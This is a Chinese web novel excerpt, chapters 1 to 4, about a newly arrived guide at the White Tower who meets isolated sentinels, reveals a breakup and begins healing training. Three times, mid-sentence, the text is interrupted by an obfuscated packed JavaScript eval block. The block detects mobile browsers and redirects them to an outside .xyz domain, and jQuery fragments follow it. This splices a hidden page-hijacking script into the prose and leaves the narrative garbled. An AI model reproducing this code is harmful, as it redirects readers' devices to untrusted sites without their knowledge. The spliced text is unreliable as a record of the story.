《为什么要靠近我的向导》 1. 第 1 章 长官办公室。 山昊的手搭在桌子上,坐姿端正,鼻梁上架着一副银框眼镜,眼角有一颗泪痣,看起来古板斯文。 “徐珊珊向导。” 视线专注于对方洁白纤长的手指,很漂亮,她听到声音才反应过来,猛地抬起头,看向对方,“在!” “不用这么紧张,”山昊看她眼神坚定地像要宣誓一样,眼睛眯了起来,她的态度和塔里的其他向导很不一样,非常平和,甚至是过度谦逊了,让他禁不住思考她到底来自哪儿,让她形成了这样的性格。 长官站起身,她的目光像向日葵环绕着太阳一样旋转,第一杯热气腾腾的茶水散发出香味,杯子被递到面前。男人忍不住安抚道:“我不会吃了你。” 什么叫不会吃了她?她紧张地搓了搓手指,当然这里不是食人部落,食堂里的食物看起来十分正常。长官看起来也很正常,从气质上来看更像大学教授,而不是一名军官。 徐珊珊将手掌贴近杯壁,有些烫,反射性地缩回手,男人刚泡好第二杯茶,转头看见她收回的手,“慢些喝,它现在还有些烫。” “把手伸出来给我看看。” 听了他的话徐珊珊就忍不住摊开右手,不知怎的她非常信任他,也许是这位长官看起来非常的正直、沉稳和可靠。 对方从柜子里掏出一张药贴敷上手指,红肿的手指被棕色布料包裹,力道很轻,冰凉的触感传来,他说话语速不快,字句清晰,“事实上,我还有义务关心和保护你。” 徐珊珊支支吾吾地应下,心跳逐渐增快,她来到白塔后,白吃白喝也有一段时间了,她想是时候该干点活了。初见怪物的阴影逐渐散去,对新环境的好奇逐渐占据上风。 “你适应的怎么样,生活上都还习惯吗?” “嗯,挺好的。” 徐珊珊比较警惕地回答长官提出的各种问题,根据她的经验,一般领导问候你的生活,并不是真心在乎你的生活,而是打探隐私,再打量你是否是一名合格的牛马。 她用自己的言语表达,自己能够顺利融入环境,成为一名合格的向导。毕竟,在荒无一人的野外,像她这样手无缚鸡之力的人生存下来的可能性很低。 “在正式开始工作之前,我先带你熟悉一下工作对象。” “好,好的。” 山昊看见一直垂眼看向桌面的向导突然抬起头,直视过来,了解她应该是准备好了。塔里的大多数向导都随队外出,而那群小子关太久会疯掉,可以适当接触。 他站起身,徐珊珊也跟着站起来,男人走在前面,她跟在后面,他身材挺拔高大,肩膀宽阔,两人走进电梯,她的头顶刚好抵在他胸口附近。 地下三层的按钮光圈亮起,屏幕上的楼层信息不断闪现,“咔哒——”电梯突然停下来,门缓缓打开,三个穿着各异的男人走了进来,而其中领头的那位是她的老熟人,救了她的人,穿着无袖背心,手臂上绑着绷带。 他们站在门口环视了一圈,很快发现躲在男人身后的她,右眉轻轻挑起,走了进来。 香甜的气息,原来是一位向导,看她有些害怕,两人很有眼力见地往侧后方站,腰部贴着栏杆,和她尽量保持距离,只是余光总不经意间看过来,但被一个背影挡住了视线。 “珊珊,是你啊。”夏广礼打了个招呼,他笑着靠到她身边,手掌握在栏杆上,低头注视着她。 站在后方的两人听见副队说的话,看来这就是他带回来的那个小向导了,两人饶有兴致地旁观着。而她身前的长官将头侧过来,淡淡地瞥了一眼,没有阻止。 “嗯,你的伤好一点了吗?那天真是谢谢你,要是没有你,我可能就已经死了。” “真的很感谢你。” 他们只有被救后的两天内有接触,在进入白塔后,就再也没有见过面,她还以为不会见到对方了,没来得及道谢。 “感谢我的话,加个联系方式吧。”男人掏出光脑。 “……”徐珊珊沉默了,她现在还没有光脑,她还没正式上班呢,窘迫地说:“我还没有……你给我留个联系方式,等我发工资了,就加你。” “好啊。”男人流畅而缓慢地将他的通讯号报了出来,看见她从裤兜里掏出一个巴掌大的迷你小本子,靠在墙壁上认真记录,样子很乖巧,忍不住伸手想摸她的头。 下落的速度减慢,向上的加速度让人一滞,门开了,一楼到了。 “队长。” 身后传来两名队员的声音,夏广礼放弃了自己的动作,转而笑了笑说:“记得联系我哦,另外我住在第二七层,有空可以来找我玩,我……” “这位哨兵,你的楼层到了。”长官出人意料地开口打断,“还有三分钟,你就要迟到了。” 夏广礼的笑容收敛了,上下扫视她身前的男人,挥手走出去,“感谢你的好意,山昊长官。” “愿每位哨兵都能记住自己的职责。”他的话淡漠,但她却从中听出了一丝责备。 她站在男人身后挥了挥手,直到大门缓缓闭紧,又是匀速下降,长官猝不及防开口,“看来你和他们相处得很好。” 听起来像是夸奖,又好像哪儿不太对,她试探地回应:“嗯,其实也没有很熟?”男人的目光看过来,仍然淡漠平静。 电梯到了,长官抬脚走出门,灯光才缓缓亮起,照亮一片漆黑的室内。他穿过走廊,中央有一个独立的房间,上部墙壁都是由高强度的透明玻璃构成,留有数个呼吸孔,底下有一米高的不透明部分。 两人来到桌子前,对面摆着数个监控,画面包含这一层的所有房间,只是里面光线昏暗,她什么也看不清。 山昊四处环视,早在他们进来之前,哨兵们已在里面等候良久,此刻安静如鸡地站在房间里,他清楚地看见那些藏在窗户后的脸。一群幸运儿,他感慨道。 “在这里待够三个小时就出来。” 说完话山昊就准备离开,徐珊珊想开口问他,慌忙地抓住衣角,“长官,我需要做什么?” 男人停下脚步,白光打在她脸上,有些惊慌失措,他沉吟片刻,“什么也不用做,就待在这里就好。” “好。” “还有什么要问的吗?” 徐珊珊摇摇头,山昊抬头看向那些沉默注视着的哨兵们,开口说:“你不用担心,白塔不会允许哨兵伤害向导,如果有任何意外情况,我会及时赶到。” “好的,长官。” 离开了领导庇护的她有些兴奋和紧张,她打了个哈欠,但这紧张很快就变成了一种无聊。 她坐着看了一会儿监控,里面都是昏暗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904786|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔离室,周围的环境不在屏幕内,几乎要鼻尖贴上去,才能辨别里面住着的人到底是谁。 也许这些受污染的哨兵需要一个比较幽暗的环境,减少外界刺激。 在她看不清的地方,半封闭的房间内,哨兵们被分开关押,他们当中的一些人,足够幸运,被选中可以接触向导。他们隐匿在黑暗里,尽量安静下来,不让其他声响或光线影响自己的神智。 哨兵五感敏锐,领地意识强烈,不喜欢同类靠近。 但被包围在中间的人不一样,她是一名向导,氤氲香气从躯体散发,溢出呼吸孔,再传进房间内,他们都沉浸其中,迷恋地吸气。 她是视线的中心,明亮的房间内她的身影是绝对的焦点。 因为缺少活动内容和对象,她四处逛了两圈后,就无聊得回到椅子上坐下,看向时钟,才刚刚过去半个小时。情不自禁地打了个哈欠,双手叠在一起,困意涌上来,侧脸贴在手臂上,趴在桌子上眯上了眼睛。 长官说什么都不用做,那她睡个觉应该没问题吧。 她睡着之后,房间里开始发出窸窸窣窣的声音,有一些人开始交谈,声音很轻。白塔内向导短缺,不然也不会有这么多人被关隔离室了。 每一位向导,通常都会选中一支或几支队伍,作为随队向导,因为长期任务,如果不携带向导会大大降低存活率,现在外面的污染情况越发严重了。 为了保护居民的安全,扩大活动范围,高频次的外出执行任务是必须的,但这也导致了留守在塔内的向导较少,预约的队伍都排到一年后了,还是针对这些高级哨兵。 当然他们也期望自己的队伍能够绑定上向导,但这只是个美好的奢望。 而出现在他们面前的徐珊珊,无疑是一块香甜可口的小蛋糕,令人垂涎欲滴。众人保持着相同的默契,没有出声影响她,因为他们需要时间观察,从行为中推测她的态度,从而选择合适的方案。 可惜她看不见他们,不然洛朗觉得在场的人会使出一些下流手段引诱对方。 但一股酸涩、微苦的味道传了进来,他嗅了嗅,是从中间的环形房间里传出来的,这是一种不开心的味道。 当她匍下去的时候,脸被墙壁遮挡着,他这个位子看不清楚,于是发出信息素询问隔壁的兄弟发生什么了。 “她哭了。” 他的弟弟是这样告诉他的。 他释放出自己的精神体,一只蜜蜂,它从窗口穿出去,但身旁随即传来令人讨厌的声音,“洛朗,你违反了协议,你再靠近她,我会举报你。” “你会面临一周至一个月的禁闭期。” 洛朗耸了耸肩膀,毫不在意,他知道这只傻鸟就是嫉妒他,他敢肯定。因为他的精神体动静太大,容易引起观察员的注意,所以就不准别人靠近。 两只小蜜蜂穿过呼吸孔,它们在相遇的时候,互相对视了一眼,最终决定互不干涉。来到女人身边,翅膀飞快地震动,发出嗡嗡的声音,落在监视器的框上,画面传入脑海中。 她确实哭了。 女人不知道是多久醒的,仍旧趴在桌上,脸颊和鼻梁都红通通的,泪水像流动的河水,从清秀的脸上淌到桌面,看起来很脆弱,让人产生保护欲。 洛朗并不明白她为什么哭,她的哨兵战死了? 2. 第 2 章 向导被塔里保护得很好,工资待遇、生活水平,连带着规章、法律也无限地偏向她们,向导是白塔的珍宝,这句话并不是说说而已。 他原以为她们是不会因为谁而流泪的,因为只要招招手,一百个高级哨兵会像狗一样舔过去,倾全队之力为她提供最好的东西,为什么而哭泣呢? 悲痛的心情不可抑制地从向导身上单方面传播到在场的众位哨兵,他们的心情情不自禁地被感染,悲怆涌上心头。 徐珊珊梦到了前男友,两人还没分手时,相处的甜蜜时光,醒来时身边空无一人。她想不通对方为何会抛弃自己,她哪里做得不好吗? 不知道附近是否有人,但总感觉被注视着,因此偷偷地哭,不希望别人看见。忽然细微的触感从胳膊上传来,她抬头看去,两只小蜜蜂一前一后咬着两张纸巾靠过来,放在她的手边后,非常安分地站远了,也许是担心她会害怕,没再有动作。 她接受了这好意,捏起来擦了擦鼻子,又捡起另一张擦拭泪水,好奇地四处观望,搜寻了一圈可疑人员,最终不得不承认给她递纸巾的也许就是面前的两只蜜蜂。 这是之前房间里没出现的东西,虽然它们像手办一样待在那一动不动,但她有种预感,它们是活的。 当她坐起来,周围的所有哨兵都能看清她的面部表情了。 女人面带微笑地注视着他的精神体,洛朗清晰地接收到温柔的视线,耳朵泛红,话都不会说了。 她会讨厌他的靠近吗? 显然这位激动的男人已经沉浸在自己的幻想中了,没注意身旁的弟弟已经率先行动。 她没有呈现排斥情绪,身上的苦涩味道淡了些,笑着发问:“是你吗,小家伙?” 徐珊珊了解到哨兵有精神体,她猜想到有猫科、犬科甚至是大型猛禽之类的,一时还有些恐惧,但没想到第一次遇见的是两只小蜜蜂。 它们表现得友善、老实,徐珊珊也颇感兴趣,也许是因为小体型或是宣传里蜜蜂的正面形象,她并不害怕它们。 她伸出胳膊,手腕翻转,掌心朝上,将食指伸出,逐渐靠近它们。动作很小心,希望不要吓到对方。 距离不到十公分的时候,呆若木鸡的小蜜蜂终于有了动静,没有疑虑地往她手上飞,而另一只等了半天没有反应。徐珊珊收回了手,抬到眼前,手臂竖起来,那蜜蜂便挪动着三对足在指尖转移位置。 “你好,谢谢你。” 脸上露出明媚的笑容,轻声软语像一阵惊雷在负三层轰击,有些哨兵因为表现不好、状态不稳定,亦或者不够幸运,没能被选中,只能蹲守在隔离室内,听着传来的声音,想象那画面。 而在场的人情绪就激动许多,因为她十分友善,与多数向导的态度截然相反。 特别是那精神体看起来那么弱小,虽然这兄弟两并不是什么好处理的货色,但它们至少形象上非常“可亲”。她都没有厌恶或排斥的想法。 洛朗终于反应过来,看见自己的弟弟已经捷足先登了,它扇动翅膀,飞了起来,悬在半空中,但始终不敢靠近,他在等她的同意。 徐珊珊看见了它,心想也不好厚此薄彼,她将四指放平,蜜蜂顺着指尖爬到指背,“来吧,”另一只也飞到手背上,她拉近了距离观察身上的环形花纹和绒毛。 眼见着两人越靠越近,其余人自然是不甘心,并不是没考虑过举报他俩,但不是现在。如果警卫来的话,他们自然会被惩罚,但她也会离开,恐怕以后没有机会再见,于是众人憋着一股气看三人互动。 憨厚肥美的身体,又黑又大的复眼,看起来非常可爱,就是有点痒痒的。 宋晓宇出声打断他们的互动,徐珊珊才对屋子里有人产生了实感,之前一直安静得恍若无物。 “向导小姐,发生了什么事,为什么要哭?” 他问出了在场的人关心的问题,他们当然期待她的哨兵出了事,一个或几个,谁在意呢,他们就像消耗品一样,在战场上燃尽所有,直到最后的终途。 徐珊珊还以为说话者就是蜜蜂的主人,听到这话,又回想起之前的梦,想必他现在已经结婚了,沮丧地将胳膊放下,落在桌子上,“走吧,”她将两只蜜蜂赶走。 它们虽然舍不得,但也很快离开了。 情绪逐渐涌上来,室内沉默着,漫长的时间流逝得很慢,直到她作出回答,女声带着哭腔,透露出一点委屈,“我男朋友把我甩了。” 整个负三层的哨兵脑子里打出了一个大大的问号:??? 她在说什么,她是认真的吗? 宋晓宇本有些怀疑,但随即听到对方的哭声,她捂住脸,但泛光的泪水仍然从指缝间溢出,肩膀颤抖,她已经是情难自已。悲伤的气味做不得假。 他试图开口安慰:“那有什么好伤心的,不就是一个‘男朋友’?” 不过,什么是男朋友?绑定对象吗? 众人的好奇心被完全挑起了,徐珊珊还不知道她正在做什么事,她还以为周围的人不多,但不久以后,她就会为自己当众坦白这件事,感到后悔莫及。 旁听的人当中,除了这一层的所有哨兵外,还包括几位领导,其中一位就是她的长官。他全程注视着监控,以确保她的安全,毕竟是第一次工作。 当他听到外来的向导这样说的时候,短暂地感觉到大脑僵住了,这就是她离开原基地,流落在危险区的原因吗? 一股震撼涌上心头,虽不清楚她经受过怎样的教育,但现在既然来了白塔,他又是她的长官,山昊认为自己有义务好好教导她,哨兵和向导之间的正确关系,应该是怎样的。 这个计划被确定下来,他的目光重新回到显示屏上。 “可是我们谈了三年,他突然就要和我分手,还说什么家里给他相亲,找了个对象,下个月就要订婚了……” 她张开嘴,深深地吸了一口气,脖颈两侧肌肉绷紧。姐妹告诉她,第一次谈恋爱分手难过是正常的,没必要为渣男伤心。 因为听起来太像恋爱脑了,她不由得为自己辩解,“他是我初恋。” 她还是没办法,短时间内走不出来,靠着酒精和娱乐麻痹自己,但只要一想起来还是难过。 地下三层响起另一个男人的声音,徐珊珊打了个寒颤,后背升起一丝凉意,怎么还有别人? 洛朗:“其实如果你不介意的话,我可以做你的男朋友。” “呵——”在场的其他哨兵发出一丝冷笑,真是司马昭之心路人皆知,他打得什么主意他们还不知道吗?而被关在后台的哨兵们因为没有发声渠道,只能愤愤地听。 天知道他们做出数不清的努力,只为了让向导多看他一眼,更别提偏爱了,那是不能奢求的东西。这怎么有蠢货不知道珍惜呢? 黑暗里,红发男人的墙壁被敲响,他睁开眼睛,听到旁人说,“这就是你说的‘纯爱’吗?” 他没有回应,于是隔壁的人接着说:“真是落后的感情观。” “你遗不遗憾,如果前天别闹事,今天出去的人可能就包括你。” 红发男人这才抬起眼睛,皱着眉骂了一句,“滚。” 这表白来得猝不及防,一个陌生男人,洛朗还不知道她把自己误会成了宋晓宇,他开始介绍起自己的优点。 包括级别、长相、身材、财产,还说什么,“只忠于你一人。” 多么令人惊讶的一件事,下唇被咬紧,润上晶莹的亮色,她尴尬地有点想逃跑,她都做了些什么?都说来到新环境的第一件事就是立人设,她到底干了些什么,这下可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904787|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,在大家眼里她都会变成一个无能的恋爱脑了。 “我……”徐珊珊纠结着,她想请求他们别把这件事说出去。 突然又蹦出了第三个声音,和第二个男人很像,但要活跃很多,他说:“哦,天呐,他睡觉打呼噜还磨牙,向导小姐,选我吧。” “洛伦斯——”他收到了来自哥哥的警告,但谁在乎? “男朋友”听起来是比哨兵更亲密的词,比起做她的哨兵,他当然更想做她的男朋友,哪怕面对哥哥,他也不会退缩。 他不觉得自己会比别人差,而且这可能是自己为数不多的机会,她暴露在这么多哨兵面前,等出去后,身边的追求者只会更多而不会少,一旦有了哨兵,按照她的性格,想再靠近也远不如现在容易。 抓不住这来之不易的机会,他才会后悔一辈子。 而在徐珊珊的眼里,完蛋啦,彻底完蛋啦。她甚至没有心思回应他们,以及逐渐吵闹起来的房间,众多哨兵你一句我一句,不遗余力地推销自己,诋毁别人。 怎么会有这么多人? 她看了看时钟,还有最后半小时,时间怎么过得这么慢,她可不可以找个地洞钻进去? “安静一点,”宋晓宇的声音大了些,开口制止别人的吵闹,其他人并不服他,但他的下句话让众人停了下来,“你们吵到她了。” 她脸上的表情变得很不自然,但随即男人的声音又引发了众怒,“向导小姐,可以加个联系方式吗?” 徐珊珊以为他是那两只小蜜蜂的主人,很感谢他的善意,没想太多答应了,“我现在还没有光脑,我先记一下你的通讯号好吗?” “没关系。”男人报出了自己的号码,徐珊珊拿笔记了下来。 洛朗不甘心地问:“那我呢?” 她愣了愣,勉强答应下来,于是她的最后半小时是在抄写通讯号中度过的,包括抄录和确认。直到时间截止,房门打开,她即将离开。 宋晓宇:“向导小姐,等我出去后可以去找你玩吗?” 告诉别人自己的住处不太好吧,徐珊珊这样想着,她没有应下来,长官的军靴踩踏地面放出响声,他来接她了,表情不明,徐珊珊低着头向长官走去,直到电梯门收紧,隔绝了光线,两人往上穿梭。 山昊看了看她手中捏紧的本子,明知故问道:“这是什么?” 她犹豫了一下,还是没有撒谎,“他们的通讯号。” 男人伸出手,徐珊珊愣了一下,她看向自己的笔记本,最终将它递了过去,粉色外壳被夹在黑色手套中,收进衣服外套内。 “长官……”她弱弱地发出抗议,这可是自己记了好久的。 男人声音平静,听不出什么情绪,说出的话听起来也很有道理,“你现在对自己的定位还不太清楚,不适合和那群哨兵打交道。” “对他们太善良,对你没有好处。” 他掏出一个礼盒交给她,徐珊珊拆开包装盒,封面刻着个大图案,这是一个最新款式的光脑。 “这个东西,现在用来联系我就好了。至于其他人的邀约,等你培训结束后,我再把它还给你。” 打一棒子给一枣,长官说的话听起来很有道理,而她也是初来乍到,塔里的向导很少,她还没建立社交关系,因此多少也有点依赖对方,没多说什么,点头答应了。 于是男人满意地点了点头,将她送回了向导的专属楼层,徐珊珊走出电梯,长官仍然站在里面,“今天的任务结束了,你好好休息,明早八点,来办公室找我。” “是,长官!” 男人满意地看了看她,“再见。”他按下楼层键,电梯逐渐下行。 经过人脸认证识别,她进入了宿舍,想起白天做过的事,在床上翻来滚去,无声尖叫。 3. 第 3 章 第二天。 办公室门虚掩着,沙发上坐着一个女人,她拥有浓密的金色卷发,穿着紧身连衣裙,白皙的小腿从裙底漏出来。她在门口等了一会儿,时间到了,抬手叩门。 室内的两人抬头,“进来。” 她走进去,头偏向坐着的女人,点了点头,然后才小心翼翼地走到长官的桌子面前,安静地站着。山昊的目光移动到她身上。 头发毛躁,额角碎发散乱,眼底发青,看起来没睡好,穿着塔里发放的基础制服,朴素至极,像个没出社会的愣头青。不过她本人好像不在意。 山昊站了起来,朝向另一个人,摊开手介绍,“这是薛柔向导,是一名富有经验的向导,是你的前辈。” “这是徐珊珊,她刚从危险区回来,受到冲击,对治疗相关的事都忘得差不多了。还拜托你多关照她。” 很像爸妈去开家长会的时候,让老师多关注自己的小孩。优雅从容的中年女性笑着应下,自然地伸手搂住她的胳膊,将她拉到身前,上下打量。 “好孩子。”薛姗姗感觉自己的脸完全变红了,她身上好香。 “薛柔姐好。”她弱弱地打了个招呼。 “那你跟我来吧,正好我今天也有预约,你就在旁边看看,怎么样?” 她快速答应,顺着对方的力道往门外走去,忽然身后传来长官的声音,“好好看,好好学。”他更像一个老父亲了。 “好的好的。” 两人揽着胳膊走了出去,薛柔领她走进向导专属的电梯,“以后你要是不想跟他们接触,就坐这个电梯。” “只有向导可以坐,平时人很少。” 她真的很亲切,说话的语调、动作、眼神,像邻居家的大姐姐,防备心逐渐放下,鼻子四处嗅闻,这座电梯里没有汗臭味。 “叮——” 到了,薛柔跨步走在前面,她小心地跟在身后,大厅坐着几位等候的哨兵,她们不用登记,径直走进静音治疗室。 一个男人已经等在里面了。 “抱歉,让你久等了。我要去接一个小家伙,她是刚来的向导。” “没关系。” 看见来人,他的脸上露出微笑,神情疲惫,欲言又止,想要站起身,他抬头看了她一眼,又坐了回去,接下来的目光就始终黏在薛柔姐身上。 他好像很想说点、做点什么,但碍于她在场,还是忍住了,两人看起来很熟。 “不介意的话,她会在一旁观看,了解治疗的流程。” “嗯。” 男人闷闷地答应,于是薛柔站起身,将她领到了隔间,墙上刻有一扇单向窗,她可以看见外面的动静,“就坐在这里吧,能看清吗?” 薛姗姗点头,治疗很快开始了。 看起来像是一场普通的聊天,问候最近任务和生活是否顺利,状态怎样等等。 一开始还往外蹦出几句话,到最后越发沉默,情况比想象得更糟一些,在她的轻呼下,男人闭上了眼睛,两人释放出精神体,分别是一只穿山甲和水母。 它紧张地缩成一团,棕色尾巴卷到头的后方,粗壮的四肢把水母裹在怀里,细长的吻部贴在水母的伞盖,黑白两色对比鲜明,像蜗牛壳一样挤在一起。 一旁的女人也合上眼,虽然两人什么动作都没有,但她知道现在一定发生了什么,男人的意识涣散,眉头逐渐舒展,穿山甲缠紧的尾巴慢慢地放松,垂落地上。 有什么事在她看不见的地方发生了。 不到半小时,治疗结束了,水母从蜷成一团的穿山甲身上扒拉,但还是被四肢紧紧搂在怀里,甚至还伸出了薄而长的红舌头。男人很快睁开了眼睛,看了过去,立刻收回精神体。 “谢谢您,薛柔向导。” “这是应该的。”薛柔姐完全是一副公事公办的态度。 这位穿山甲哨兵的嘴欲张又止,将视线往这边瞧,薛姗姗只能遗憾地继续充当电灯泡,抱歉,她不是故意的。 “那我先离开了。” 他嘴上说着要走,脚却黏在地上,幽怨的目光没能让女人的回心转意。 直到薛柔下了逐客令,“今天的治疗结束了,欢迎下次再来。” “好。”这个男人显然是一位忍者,脸上稍显失落,他再次道别后离开了。 紧闭的房门被打开,女人走进来,脱下外套,放进收缩袋中,袋口锁紧,凹凸有致的身材透过连衣裙展现出来,从衣柜里取出另一件外套穿上。 将头发拨至脑后,甩了甩头,香味便扩散开来,薛柔笑着问:“感觉怎么样?” “啊?”上课没听懂,下课被老师提问。 她纠结着该怎么回答,从她一片迷茫的表情,薛柔看出来,她可能不是不太熟练那么简单,更像是从未接触过这件事。 她换了一个话题,“你的精神体是什么?” “我……”我不知道,她露出了很尴尬的微笑,该怎么表达才能解释自己一窍不通。 薛柔的动作顿了一下,想到她是从外面“捡来”的,也许过程中受到影响,导致记忆和精神海都出了问题,不能“看见”,也许过段时间就会慢慢恢复。 “你能释放出精神力吗?” 她的目光注视着她,眼神怔怔的,进入冥想状态,丝丝缕缕的白线从身体释放出来,逐渐包裹住她。 徐珊珊觉得自己被软绵、温暖的网笼住了,让她有些昏昏欲睡,眼睛缓缓闭上,她舒服地发出喟叹。 这孩子完全没反应,薛柔能够看见她的精神海,很充沛的能量,饱满、充盈,但是她却不会将它引导出来,就像一个开了盖的水缸。 精神力像水自然蒸发,但却无法被主动抽取,因此她潜力很大,却发挥不了。 但这并不急于一时。 “听说你昨天在地下加了好几个哨兵的通讯?” “啊……对。” 她的脸上露出笑容,徐珊珊有些紧张,她的事迹已经传到了这里吗?小心翼翼地问:“这样不对吗?” “不,”薛柔简单回答,“这样很对。” 她深深地呼了一口气,看来没做错,但随即是一个转折,“但是,那件事不对,你的‘前男友’。” “……”羞赧的情绪迅速涌上来,她怎么知道? 薛柔看了过来,大致猜出她在想什么,开口解释道:“你是很有潜力的向导,塔里很关注你,所以昨天我也在观察你。” “没关系,珊珊,你还年轻。” 她的手被握住,一枚亮晶晶的胸针被放进手中,“这是我的见面礼,”手顺着发丝梳理,温暖柔软的手贴在脸颊,“犯点错也没什么。” “但不要被哪个混小子骗走了,明白么?” 女人的眼睛像深邃的蓝色海洋,波光熠熠,她几乎都要沉醉于那片海中。她为她佩戴上了胸针,可爱的白色水母。 “忘了他吧,塔里还有许多更好的小伙子。” 她点头应下,对方包容的态度让她逐渐平复下来,失恋这件事好像变得没那么重要了,也许是时候该往前走了。 看见小辈的满面愁容被积极的笑容取代,薛柔的心情好了很多,拍了拍她的肩膀,“好了,你要留下继续旁观,还是先去休息一下?” 因为无法看见精神力,她觉得再看下去也无济于事,更想亲自去试一试,于是和薛柔姐告辞离开了。 站在电梯里,滑门合拢,楼层显示器上许多按钮,她犹豫着,最终按下了二十七楼。如果没记错的话,昨天,她的救命恩人说他在那儿,请他帮个忙,应该没问题吧。 电梯缓缓降下,按钮的灯光熄灭,滑门开启,扑面而来满满的荷尔蒙气息。 抬眼可见一个训练区,隔着玻璃,里面摆放着各式各样的器械,很多人在挥洒汗水,个个身形高大挺拔。幸好他们神情专注,没有发现她,徐珊珊抿嘴,紧张地走出了电梯。 她边走边看,想找一找夏广礼的身影,但人不在这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904788|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她的行踪早已引起了周围哨兵们的注意,事实上,从她踏出电梯的那一瞬间,身上的香气就扑进众人鼻腔,只有她还不知道,以为自己轻手轻脚隐藏得很好。 黑发男人坐在椅子上,给自己的掌心擦粉,他的目光随着她流转,徐珊珊试图忽略他,继续往前走,在门口处,看到了指示牌。 这层楼住着空战组的两支小队,目光在平面图上搜寻,试图找到他的办公室。 他身上热气腾腾地冒着汗,用毛巾擦了擦脸,遵循着众人的视线,看见门外的人,走到水池处,泼水洗干净脸,转过头说:“你们继续。” 众人听从他的指令继续埋头训练,但当他的背影走出去后,又不自觉地抬起头悄悄看。 “向导小姐,请问你需要帮助吗?” 悦耳的男声从身旁响起,徐珊珊转过头,她还没看清这里的构造,看见来人,她轻声问:“请问夏广礼在吗?” 可惜这压在喉咙处的声音,在哨兵灵敏的五感下,完全听得一清二楚。 “他们去执行任务了,还要几天才能回来。”男人解释道。 “你找他有什么事,我们也可以效劳。” 身后的黑发男人突然发声,他站起身,靠到她身旁,两人一前一后地将她包围,丰满的胸膛上下起伏,汗水沾湿了灰色背心,渗出汗渍。 眉毛皱起来,她感到有些压迫感,尽量不让自己的目光看向对方健硕的肌肉,这不太礼貌。她侧过身,低头看手,只留下毛茸茸的脑袋露在外面。 “没,没事。” 她转身准备离开,被人从后面挡住了路,只留下一条狭窄的通道,疑惑地抬眼望去。 “大卫,让开。” 身后的男人出声阻止了他,声音严厉,包含着不可违逆的意思,黑发男人看过去,最终往旁边退了一步。而和她说话时,声音明显放轻了许多。 “你找他有什么事吗?等他回来后,我可以代你传达。” “我是空战组二队的队长,解逸飞。” 男人伸出手,“很高兴为你服务,”面对一只宽厚粗大的手,徐珊珊犹豫了一会儿,还是握了上去,手掌被包裹其中,还有些湿润。 她想了想,还是放弃了,“没什么事,谢谢你,队长。” 她往回收手,稍微用了些力,他才松开手,但面对着彬彬有礼的队长,她也说不出什么话,又瞥见房间里很多人盯着他们,只感到很紧张。 她低着头支支吾吾道:“我还有别的事,就先离开了,不打扰你们了。” “没关系,什么时候都不打扰。” “我送你吧。” “不不不,不用。”徐珊珊忍着狂奔的冲动,步履平缓,却跨着很大的步伐走到电梯口,按下箭头,紧张地盯着滑门打开。她不经意地回头看了一眼,怎么还在盯着她? 好古怪…… 门终于开了,这短暂的几秒好像有一个世纪那么漫长,她快步走了进去,躲在面板后面,等到电梯门关紧,才松了一口气。她的救命恩人不在,那该找谁帮忙呢? 这座电梯长久是空转的,因为塔里的常驻向导不多,就算有一般也不会随意走动,多是待在治疗室内,等待预约的哨兵来访。 总之,她暂时拥有这座专属电梯的使用权。由于她一直纠结着,就没按下楼层,于是门外的哨兵可以看到,它一直停在二十七楼。 黑发男人喊了一声队长,“你确定不再努努力?” 解逸飞摇了摇头,“我们应该尊重向导的选择。” 男人嗤笑一声,往里走去,那声音却传得很远,队员都听到了,“看来一队马上就要有专属向导了,那我们呢?” “也许她会记住我们队有有一位绅士。” 面对队里硬茬的挑衅,解逸飞的脾气就没有那么好了,“够了,大卫。今天你多加五十公里负重跑。” 解逸飞看见队员们期待的眼神,没有说什么,转身往里走去了。 4. 第 4 章 而电梯里,徐珊珊犹豫了很久,还是决定给长官发条消息,毕竟她现在认识的人不多,但是如果找领导做练习的话,他好像很忙,可能不太好…… 手指在屏幕上编辑又删除,她还是发了出去。 【长官,我还可以去负三楼看看吗?】 男人的消息过了一会儿才回复,【我在开会】 【去那做什么?】 【我刚刚和薛柔姐看了治疗的情况,我想找个人试试。】 对面显示正在输入中,不一会儿又停下了,然后又是正在输入中,她还以为对方要憋出很大一堆,但结果只发来了一个字。 【谁?】 脑子开始回想,要不就找昨天的那两只小蜜蜂吧,感觉它们很友好,精神体很可爱。他的名字应该叫——宋晓宇。 【宋晓宇】 【你需要预约多久?】 【一个小时?我想多试试】 【好。半小时后,你可以去负三楼,记得和门口的警卫说清楚情况。】 这句话很久才回复,她总觉得从他的话中看出了一丝无语。 【好的,长官,谢谢!】 她按下电梯的按钮,还有半小时,那她先去食堂填填肚子,还可以买点小礼物带过去。 